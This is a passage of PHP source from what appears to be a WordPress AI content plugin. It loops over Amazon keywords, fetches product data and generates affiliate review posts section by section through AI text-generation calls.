                                                    catch (Exception $e) {
                                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                            aiomatic_log_to_file('Failed to send mail: Exception thrown ' . esc_html($e->getMessage()) . '!');
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                        aiomatic_log_to_file('All Amazon keywords already processed, nothing to do.');
                                        if($auto == 1)
                                        {
                                            aiomatic_clearFromList($param, $type);
                                        }
                                        return 'nochange';
                                    }
                                }
                            }
                            $spintax = new AIomatic_Spintax();
                            $orig_ai_command = $ai_command;
                            $orig_ai_command_title = $title_ai_command;
                            $orig_ai_command_category = $category_ai_command;
                            $orig_ai_command_tag = $tag_ai_command;
                            $orig_ai_command_image = $ai_command_image;
                            $already_spinned = 0;
                            if(isset($aiomatic_Main_Settings['attr_text']) && $aiomatic_Main_Settings['attr_text'] != '')
                            {
                                $img_attr = $aiomatic_Main_Settings['attr_text'];
                            }
                            else
                            {
                                $img_attr = '';
                            }
                            $headings_arr = array();
                            if($images_list != '')
                            {
                                $images_arr = preg_split('/\r\n|\r|\n/', $images_list);
                                $images_arr = array_map('trim', $images_arr);
                            }
                            else
                            {
                                $images_arr = array();
                            }
                            require_once(__DIR__ . '/res/amazon-direct.php');
                            while(true) 
                            {
                                $thread_id = '';
                                $my_title_outro = '';
                                if ($count > intval($max)) {
                                    break;
                                }
                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon product review'));
                                $update_post_id  = '';
                                $product_description = '';
                                $current_section = '';
                                $post_sections = '';
                                $post_topic = '';
                                $post_title_keywords = '';
                                $headings_arr_copy = $headings_arr;
                                $added_img_list = array();
                                $raw_img_list = array();
                                $full_result_list = array();
                                $added_images = 0;
                                $heading_results = array();
                                if(count($amazon_keyword_lines) == 0)
                                {
                                    break;
                                }
                                if ($count > intval($max)) {
                                    break;
                                }
                                if (!isset($aiomatic_Main_Settings['no_random_titles']) || $aiomatic_Main_Settings['no_random_titles'] != 'on')
                                {
                                    $current_index = array_rand($amazon_keyword_lines);
                                }
                                else
                                {
                                    $current_index = array_key_first($amazon_keyword_lines);
                                }
                                //????
                                $amazon_kw = trim($amazon_keyword_lines[$current_index]);
                                if($title_once == '1')
                                {
                                    unset($amazon_keyword_lines[$current_index]);
                                }
            
                                $amazon_kw = explode('|', $amazon_kw);
                                $amazon_kw = $amazon_kw[array_rand($amazon_kw)];
            
                                $ptlprocessed = explode('!###!', $amazon_kw);
                                if(isset($ptlprocessed[1]) && !empty($ptlprocessed[1]) && !empty($ptlprocessed[0]))
                                {
                                    $amazon_kw = $ptlprocessed[0];
                                    $post_title_keywords = $ptlprocessed[1];
                                }
                                if(isset($rss_feeds[$amazon_kw]))
                                {
                                    $post_link = $rss_feeds[$amazon_kw]['url'];
                                    $user_name = $rss_feeds[$amazon_kw]['author'];
                                    $post_cats = $rss_feeds[$amazon_kw]['cats'];
                                    $post_excerpt = $rss_feeds[$amazon_kw]['excerpt'];
                                    $final_content = $rss_feeds[$amazon_kw]['content'];
                                }
                                $tprepp = $spintax->Parse($amazon_kw);
                                if($tprepp != false && $tprepp != '')
                                {
                                    $amazon_kw = $tprepp;
                                }
                                $old_title = $amazon_kw;
                                $already_spinned = 0;
                                $allmodels = aiomatic_get_all_models();
                                $custom_shortcodes_arr = preg_split('/\r\n|\r|\n/', $custom_shortcodes);
                                foreach($custom_shortcodes_arr as $my_short)
                                {
                                    $name_part = explode('=>', $my_short);
                                    if(isset($name_part[1]) && !empty(trim($name_part[1])))
                                    {
                                        $shortname = trim($name_part[0]);
                                        if(strstr($amazon_kw, '%%' . $shortname . '%%'))
                                        {
                                            $shortval = '';
                                            $ai_part = explode('@@', $name_part[1]);
                                            if(isset($ai_part[1]) && !empty(trim($ai_part[1])))
                                            {
                                                if(!in_array(trim($ai_part[0]), $allmodels))
                                                {
                                                    $aimodel = get_default_model_name($aiomatic_Main_Settings);
                                                }
                                                else
                                                {
                                                    $aimodel = trim($ai_part[0]);
                                                }
                                                $zai_command = trim($ai_part[1]);
                                                $zmax_tokens = aiomatic_get_max_tokens($aimodel);
                                                $zquery_token_count = count(aiomatic_encode($zai_command));
                                                $zavailable_tokens = aiomatic_compute_available_tokens($aimodel, $zmax_tokens, $zai_command, $zquery_token_count);
                                                if($zavailable_tokens <= AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                                                {
                                                    $string_len = strlen($zai_command);
                                                    $string_len = $string_len / 2;
                                                    $string_len = intval(0 - $string_len);
                                                    $zai_command = aiomatic_substr($zai_command, 0, $string_len);
                                                    $zai_command = trim($zai_command);
                                                    $zquery_token_count = count(aiomatic_encode($zai_command));
                                                    $zavailable_tokens = $zmax_tokens - $zquery_token_count;
                                                }
                                                $aierror = '';
                                                $finish_reason = '';
                                                $ztemperature = 1;
                                                $ztop_p = 1;
                                                $zpresence_penalty = 0;
                                                $zfrequency_penalty = 0;
                                                if(!empty($global_prepend))
                                                {
                                                    $zai_command = $global_prepend . ' ' . $zai_command;
                                                }
                                                if(!empty($global_append))
                                                {
                                                    $zai_command = $zai_command . ' ' . $global_append;
                                                }
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                                {
                                                    $api_service = aiomatic_get_api_service($token, $aimodel);
                                                    aiomatic_log_to_file('Calling ' . $api_service . ' (' . $assistant_id . '/' . $aimodel . ') for custom shortcode text: ' . $zai_command);
                                                }
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating custom shortcodes'));
                                                $generated_text = aiomatic_generate_text($token, $aimodel, $zai_command, $zavailable_tokens, $ztemperature, $ztop_p, $zpresence_penalty, $zfrequency_penalty, false, 'customShortcode', 0, $finish_reason, $aierror, true, false, false, '', '', 'user', $assistant_id, $thread_id, '', 'disabled', '', true);
                                                if($generated_text === false)
                                                {
                                                    aiomatic_log_to_file('Custom shortcode generator error: ' . $aierror);
                                                }
                                                else
                                                {
                                                    $shortval = trim(trim(trim(trim($generated_text), '.'), ' “â€â€˜â€™"\''));
                                                }
                                            }
                                            $amazon_kw = str_replace('%%' . $shortname . '%%', $shortval, $amazon_kw);
                                        }
                                    }
                                } 
                                $amazon_kw = aiomatic_replaceSynergyShortcodes($amazon_kw);
                                $amazon_kw = apply_filters('aiomatic_replace_aicontent_shortcode', $amazon_kw);
                                if(empty($amazon_kw))
                                {
                                    aiomatic_log_to_file('Empty Amazon Keyword Submitted: ' . $amazon_kw);
                                    unset($amazon_keyword_lines[$current_index]);
                                    continue;
                                }
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                {
                                    aiomatic_log_to_file('Starting processing Amazon Review keyword: ' . $amazon_kw);
                                }
                                $max_prod = 1;
            					$amazresult = aiomatic_amazon_get_post($amazon_kw, trim($affiliate_id), $target_country, '', '', '', $max_prod, '1', array());
                                if(is_array($amazresult) && isset($amazresult['status']) && $amazresult['status'] == 'nothing')
                                {
                                    aiomatic_log_to_file('No results found for keyword search: ' . $amazon_kw);
                                    unset($amazon_keyword_lines[$current_index]);
                                    continue;
                                }
                                if(!is_array($amazresult))
                                {
                                    aiomatic_log_to_file('Empty rule response from Amazon Reviews: ' . $amazon_kw);
                                    unset($amazon_keyword_lines[$current_index]);
                                    continue;
                                }
                                if(is_array($amazresult) && count($amazresult) == 0)
                                {
                                    aiomatic_log_to_file('Empty results found for keyword search: ' . $amazon_kw);
                                    unset($amazon_keyword_lines[$current_index]);
                                    continue;
                                }
                                $product_titles = '';
                                foreach($amazresult as $amr)
                                {
                                    $product_titles .= '"' . $amr->offer_title . '",';
                                }
                                $amazresult = $amazresult[0];
                                $product_titles = rtrim($product_titles, ',');
                                $post_title = '';
                                $amazon_thumb = $amazresult->product_img;
                                $product_title = $amazresult->offer_title;
                                $product_reviews = implode('<br><br>', $amazresult->item_reviews);
                                $product_description = $amazresult->offer_desc;
                                if(trim($affiliate_id) != '')
                                {
                                    $aff_url = $amazresult->offer_url;
                                }
                                else
                                {
                                    $aff_url = $amazresult->source_link;
                                }
                                $product_author = $amazresult->product_author;
                                $product_brand = $amazresult->product_brand;
                                $product_isbn = $amazresult->product_isbn;
                                $product_upc = $amazresult->product_upc;
                                $offer_price = $amazresult->offer_price;
                                $product_price = $amazresult->product_price;
                                $product_list_price = $amazresult->product_list_price;
                                $price_numeric = $amazresult->price_numeric;
                                $price_currency = $amazresult->price_currency;
                                $product_asin = $amazresult->product_asin;
                                $cart_url = $amazresult->cart_url;
                                $list_price_numeric = $amazresult->list_price_numeric;
                                $product_imgs = $amazresult->product_imgs;
                                
                                //new
                                $item_score = $amazresult->item_score; 
                                $language = $amazresult->language; 
                                $edition = $amazresult->edition; 
                                $pages_count = $amazresult->pages_count; 
                                $publication_date = $amazresult->publication_date; 
                                $contributors = $amazresult->contributors; 
                                $manufacturer = $amazresult->manufacturer; 
                                $binding = $amazresult->binding; 
                                $product_group = $amazresult->product_group; 
                                $rating = $amazresult->rating; 
                                $eans = $amazresult->eans; 
                                $part_no = $amazresult->part_no; 
                                $model = $amazresult->model; 
                                $warranty = $amazresult->warranty; 
                                $color = $amazresult->color; 
                                $is_adult = $amazresult->is_adult; 
                                $dimensions = $amazresult->dimensions; 
                                $date = $amazresult->date; 
                                $size = $amazresult->size; 
                                $unit_count = $amazresult->unit_count; 
                                
                                if($title_prompt != '')
                                {
                                    if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                    {
                                        $title_prompt_arr = preg_split('/\r\n|\r|\n/', $title_prompt);
                                        $my_title_prompt = $title_prompt_arr[array_rand($title_prompt_arr)];
                                    }
                                    else
                                    {
                                        $my_title_prompt = $title_prompt;
                                    }
                                    $zatitle_prompt = aiomatic_replace_review($my_title_prompt, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                    if(stristr($run_regex_on, 'title') !== false)
                                    {
                                        if ($strip_by_regex_prompts !== '')
                                        {
                                            $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                            $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                            $xcnt = 0;
                                            foreach($xstrip_by_regex as $sbr)
                                            {
                                                if(isset($xreplace_regex[$xcnt]))
                                                {
                                                    $repreg = $xreplace_regex[$xcnt];
                                                }
                                                else
                                                {
                                                    $repreg = '';
                                                }
                                                $xcnt++;
                                                $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $zatitle_prompt);
                                                if($temp_cont !== NULL)
                                                {
                                                    $zatitle_prompt = $temp_cont;
                                                }
                                            }
                                        }
                                    }
                                    if($zatitle_prompt != '')
                                    {
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon review title'));
                                        $written = aiomatic_write_content($zatitle_prompt, $topic_title_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, true, false, 'title', 'user', $assistant_id, $thread_id);
                                        if($written === false)
                                        {
                                            aiomatic_log_to_file('Failed to generate title!');
                                            if($auto == 1)
                                            {
                                                aiomatic_clearFromList($param, $type);
                                            }
                                            return 'fail';
                                        }
                                        else
                                        {
                                            $written = ucfirst(trim(trim(trim(trim($written), '.'), ' “â€â€˜â€™"\'')));
                                            $post_title = $written;
                                        }
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Empty processed title prompt. Nothing to do.');
                                        if($auto == 1)
                                        {
                                            aiomatic_clearFromList($param, $type);
                                        }
                                        return 'fail';
                                    }
                                }
                                if(empty($post_title))
                                {
                                    aiomatic_log_to_file('Failed to automatically generate Amazon product roundup title!');
                                    if($auto == 1)
                                    {
                                        aiomatic_clearFromList($param, $type);
                                    }
                                    return 'fail';
                                }
                                if (strpos($post_title, '%%') === false)
                                {
                                    if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') 
                                    {
                                        $xposts = get_posts(
                                            array(
                                                'post_type'              => $post_type,
                                                'title'                  => html_entity_decode($post_title),
                                                'post_status'            => 'all',
                                                'numberposts'            => 1,
                                                'update_post_term_cache' => false,
                                                'update_post_meta_cache' => false,           
                                                'orderby'                => 'post_date ID',
                                                'order'                  => 'ASC',
                                            )
                                        );
                                        if ( ! empty( $xposts ) ) {
                                            $zap = $xposts[0];
                                        } else {
                                            $zap = null;
                                        }
                                        if($zap !== null)
                                        {
                                            if($overwrite_existing)
                                            {
                                                $update_post_id = $zap->ID;
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Post with specified title already existing, skipping it: ' . $post_title);
                                                unset($amazon_keyword_lines[$current_index]);
                                                continue;
                                            }
                                        }
                                    }
                                    $new_post_title = $post_title;
                                }
                                else
                                {
                                    $new_post_title = $post_title;
                                    $new_post_title = aiomatic_replaceContentShortcodes($new_post_title, $img_attr, $ai_command);
                                    if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') 
                                    {
                                        $xposts = get_posts(
                                            array(
                                                'post_type'              => $post_type,
                                                'title'                  => html_entity_decode($new_post_title),
                                                'post_status'            => 'all',
                                                'numberposts'            => 1,
                                                'update_post_term_cache' => false,
                                                'update_post_meta_cache' => false,           
                                                'orderby'                => 'post_date ID',
                                                'order'                  => 'ASC',
                                            )
                                        );
                                        if ( ! empty( $xposts ) ) {
                                            $zap = $xposts[0];
                                        } else {
                                            $zap = null;
                                        }
                                        if($zap !== null)
                                        {
                                            if($overwrite_existing)
                                            {
                                                $update_post_id = $zap->ID;
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Post with specified title already published, skipping it: ' . $new_post_title);
                                                unset($amazon_keyword_lines[$current_index]);
                                                continue;
                                            }
                                        }
                                    }
                                }
                                $current_section = '';
                                $headings_arr_copy = $headings_arr;
                                $added_img_list = array();
                                $raw_img_list = array();
                                $full_result_list = array();
                                $added_vid_list = array();
                                $added_images = 0;
                                $added_videos = 0;
                                $heading_results = array();
                                if(empty($post_title))
                                {
                                    aiomatic_log_to_file('Empty post title submitted, nothing to do!');
                                    continue;
                                }
                                $new_post_content = '';
                                if(stristr($run_regex_on, 'intro') !== false)
                                {
                                    if ($strip_by_regex_prompts !== '')
                                    {
                                        $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                        $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                        $xcnt = 0;
                                        foreach($xstrip_by_regex as $sbr)
                                        {
                                            if(isset($xreplace_regex[$xcnt]))
                                            {
                                                $repreg = $xreplace_regex[$xcnt];
                                            }
                                            else
                                            {
                                                $repreg = '';
                                            }
                                            $xcnt++;
                                            $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $intro_prompt);
                                            if($temp_cont !== NULL)
                                            {
                                                $intro_prompt = $temp_cont;
                                            }
                                        }
                                    }
                                }
                                if($intro_prompt != '')
                                {
                                    $my_intro_prompt = $intro_prompt;
                                    $my_intro_prompt = aiomatic_replace_review($my_intro_prompt, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                    if($my_intro_prompt != '')
                                    {
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon review intro'));
                                        $written = aiomatic_write_content($my_intro_prompt, $topic_intro_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'intro', 'user', $assistant_id, $thread_id);
                                        if($written === false)
                                        {
                                            aiomatic_log_to_file('Failed to generate intro for section: ' . $current_section);
                                            continue;
                                        }
                                        else
                                        {
                                            if($new_post_content != '')
                                            {
                                                $new_post_content .= ' ';
                                            }
                                            $new_post_content .= $written;
                                        }
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Empty processed intro prompt. Nothing to do.');
                                    }
                                }
                                
                                if(stristr($run_regex_on, 'sections') !== false)
                                {
                                    if ($strip_by_regex_prompts !== '')
                                    {
                                        $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                        $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                        $xcnt = 0;
                                        foreach($xstrip_by_regex as $sbr)
                                        {
                                            if(isset($xreplace_regex[$xcnt]))
                                            {
                                                $repreg = $xreplace_regex[$xcnt];
                                            }
                                            else
                                            {
                                                $repreg = '';
                                            }
                                            $xcnt++;
                                            $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $sections_prompt);
                                            if($temp_cont !== NULL)
                                            {
                                                $sections_prompt = $temp_cont;
                                            }
                                        }
                                    }
                                }
                                if($sections_prompt != '' && $post_sections_list == '')
                                {
                                    if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                    {
                                        $sections_prompt_arr = preg_split('/\r\n|\r|\n/', $sections_prompt);
                                        $my_post_section = $sections_prompt_arr[array_rand($sections_prompt_arr)];
                                    }
                                    else
                                    {
                                        $my_post_section = $sections_prompt;
                                    }
                                    $za_post_title = aiomatic_replaceContentShortcodes($post_title, $img_attr, $ai_command);
                                    $my_post_section = aiomatic_replace_review($my_post_section, $za_post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                    if($my_post_section != '')
                                    {
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon review section list'));
                                        $written = aiomatic_write_content($my_post_section, $topic_sections_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, true, false, 'sections', 'user', $assistant_id, $thread_id);
                                        if($written === false)
                                        {
                                            aiomatic_log_to_file('Failed to generate sections!');
                                            if($auto == 1)
                                            {
                                                aiomatic_clearFromList($param, $type);
                                            }
                                            return 'fail';
                                        }
                                        else
                                        {
                                            $post_sections = $written;
                                        }
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Empty processed sections prompt (2). Nothing to do.');
                                        if($auto == 1)
                                        {
                                            aiomatic_clearFromList($param, $type);
                                        }
                                        return 'fail';
                                    }
                                }
                                else
                                {
                                    if($post_sections_list != '')
                                    {
                                        $post_sections = $spintax->Parse($post_sections_list);
                                        $post_sections = str_replace('%%topic%%', $post_topic, $post_sections);
                                    }
                                }
                                $post_sections = aiomatic_filter_sections($post_sections);
                                if($post_sections != '')
                                {
                                    $post_sections_arr = preg_split('/\r\n|\r|\n/', $post_sections);
                                }
                                else
                                {
                                    $post_sections_arr = array();
                                }
                                $product_imgs_arr = explode(',', $product_imgs);
                                if($title_outro != '')
                                {
                                    $my_title_outro = $title_outro;
                                    $my_title_outro = aiomatic_replace_review($my_title_outro, $za_post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                    $my_title_outro = $spintax->Parse(trim($my_title_outro));
                                }
                                if(!empty($title_toc))
                                {
                                    $my_title_toc = $title_toc;
                                    $my_title_toc = aiomatic_replace_review($my_title_toc, $za_post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                    $my_title_toc = $spintax->Parse(trim($my_title_toc));
                                }
                                if($title_qa != '')
                                {
                                    $my_title_qa = $title_qa;
                                    $my_title_qa = aiomatic_replace_review($my_title_qa, $za_post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                    $my_title_qa = $spintax->Parse(trim($my_title_qa));
                                }
                                if($title_reviews != '')
                                {
                                    $my_title_reviews = $title_reviews;
                                    $my_title_reviews = aiomatic_replace_review($my_title_reviews, $za_post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                    $my_title_reviews = $spintax->Parse(trim($my_title_reviews));
                                }
                                if($title_proscons != '')
                                {
                                    $my_title_proscons = $title_proscons;
                                    $my_title_proscons = aiomatic_replace_review($my_title_proscons, $za_post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                    $my_title_proscons = $spintax->Parse(trim($my_title_proscons));
                                }
                                if($content_prompt != '')
                                {
                                    $toc = '';
                                    if($enable_toc == '1')
                                    {
                                        if(!empty($title_toc))
                                        {
                                            if($my_title_toc != '')
                                            {
                                                $toc .= '<h2>' . $my_title_toc . '</h2>';
                                            }
                                        }
                                        $toc .= '<ul class="toc-class">';
                                        foreach($post_sections_arr as $the_current_section)
                                        {
                                            if(!empty($current_section))
                                            {
                                                $toc .= '<li><a href="#' . sanitize_title($the_current_section) . '">' . $the_current_section . '</a></li>';
                                            }
                                        }
                                        if($title_reviews != '')
                                        {
                                            if($my_title_reviews != '')
                                            {
                                                if($reviews_prompt != '' && $enable_reviews == '1')
                                                {
                                                    $toc .= '<li><a href="#reviews">' . $my_title_reviews . '</a></li>';
                                                }
                                            }
                                        }
                                        if($title_proscons != '')
                                        {
                                            if($my_title_proscons != '')
                                            {
                                                if($proscons_prompt != '' && $enable_proscons == '1')
                                                {
                                                    $toc .= '<li><a href="#proscons">' . $my_title_proscons . '</a></li>';
                                                }
                                            }
                                        }
                                        if($title_qa != '')
                                        {
                                            if($my_title_qa != '')
                                            {
                                                if($qa_prompt != '' && $enable_qa == '1')
                                                {
                                                    $toc .= '<li><a href="#qa">' . $my_title_qa . '</a></li>';
                                                }
                                            }
                                        }
                                        if($title_outro != '')
                                        {
                                            if($my_title_outro != '')
                                            {
                                                if($outro_prompt != '')
                                                {
                                                    $toc .= '<li><a href="#outro">' . $my_title_outro . '</a></li>';
                                                }
                                            }
                                        }
                                        $toc .= '</ul>';
                                        $new_post_content .= '<br/>' . $toc . '<br/>';
                                    }
                                    $s_id = 1;
                                    $last_section_content = '';
                                    foreach($post_sections_arr as $the_current_section)
                                    {
                                        $current_section = trim($the_current_section, '.;');
                                        if(empty($current_section))
                                        {
                                            continue;
                                        }
                                        $my_post_content = $content_prompt;
                                        $my_post_content = aiomatic_replace_review($my_post_content, $post_title, $amazon_kw, $product_title, $product_description, $aff_url, $product_author, $product_brand, $product_isbn, $product_upc, $offer_price, $product_price, $product_list_price, $price_numeric, $price_currency, $product_asin, $cart_url, $list_price_numeric, $product_imgs, $product_titles, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $point_of_view, $product_reviews, $default_cat_list, $item_score, $edition, $language, $pages_count, $publication_date, $contributors, $manufacturer, $binding, $product_group, $rating, $eans, $part_no, $model, $warranty, $color, $is_adult, $dimensions, $date, $size, $unit_count);
                                        $my_post_content = str_replace('%%article_so_far%%', $new_post_content, $my_post_content);
                                        $my_post_content = str_replace('%%last_section_content%%', $last_section_content, $my_post_content);
                                        if(stristr($run_regex_on, 'content') !== false)
                                        {
                                            if ($strip_by_regex_prompts !== '')
                                            {
                                                $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                                $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                                $xcnt = 0;
                                                foreach($xstrip_by_regex as $sbr)
                                                {
                                                    if(isset($xreplace_regex[$xcnt]))
                                                    {
                                                        $repreg = $xreplace_regex[$xcnt];
                                                    }
                                                    else
                                                    {
                                                        $repreg = '';
                                                    }
                                                    $xcnt++;
                                                    $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_post_content);
                                                    if($temp_cont !== NULL)
                                                    {
                                                        $my_post_content = $temp_cont;
                                                    }
                                                }
                                            }
                                        }
                                        if($my_post_content != '')
                                        {
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating Amazon review section ID #' . $s_id));
                                            $s_id++;
                                            $written = aiomatic_write_content($my_post_content, $topic_content_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'content', 'user', $assistant_id, $thread_id);
                                            if($written === false)
                                            {
                                                aiomatic_log_to_file('Failed to generate content for section: ' . $current_section);
                                                continue;
                                            }
                                            else
                                            {
                                                $written = str_ireplace($current_section, '', $written);
                                                preg_match_all('#\d+\.\s*([\s\S]*)#', $current_section, $mxatches);
                                                if(isset($mxatches[1][0]))
                                                {
                                                    $written = str_ireplace(trim($mxatches[1][0]), '', $written);
                                                    $written = str_ireplace(str_replace(['"', '\''], '', $mxatches[1][0]), '', $written);
                                                }
                                                $written = str_ireplace('<h2></h2>', '', $written);
                                                $written = str_ireplace('<h3></h3>', '', $written);
                                                $link_to_source = $current_section;
                                                if($no_headlink != '1')
                                                {
                                                    $link_to_source = '<a target="_blank" rel="nofollow sponsored noopener" href="' . $aff_url . '">' . $current_section . '</a>';
                                                }
                                                if($sections_role == 'h2')
                                                {
                                                    $new_post_content .= '<h2 id="' . sanitize_title($current_section) . '">' . $link_to_source . '</h2>';
                                                }
                                                elseif($sections_role == 'h3')
                                                {
                                                    $new_post_content .= '<h3 id="' . sanitize_title($current_section) . '">' . $link_to_source . '</h3>';
                                                }
                                                elseif($sections_role == 'b')
                                                {
                                                    $new_post_content .= '<b id="' . sanitize_title($current_section) . '">' . $link_to_source . '</b>';
                                                }
                                                elseif($sections_role == 'i')
                                                {
                                                    $new_post_content .= '<i id="' . sanitize_title($current_section) . '">' . $link_to_source . '</i>';
                                                }
                                                elseif($sections_role == 'bi')
                                                {
                                                    $new_post_content .= '<b><i id="' . sanitize_title($current_section) . '">' . $link_to_source . '</i></b>';
                                                }
                                                elseif($sections_role == 'p')
                                                {
                                                    $new_post_content .= '<p id="' . sanitize_title($current_section) . '">' . $link_to_source . '</p>';
                                                }
                                                elseif($sections_role == 'x')
                                                {
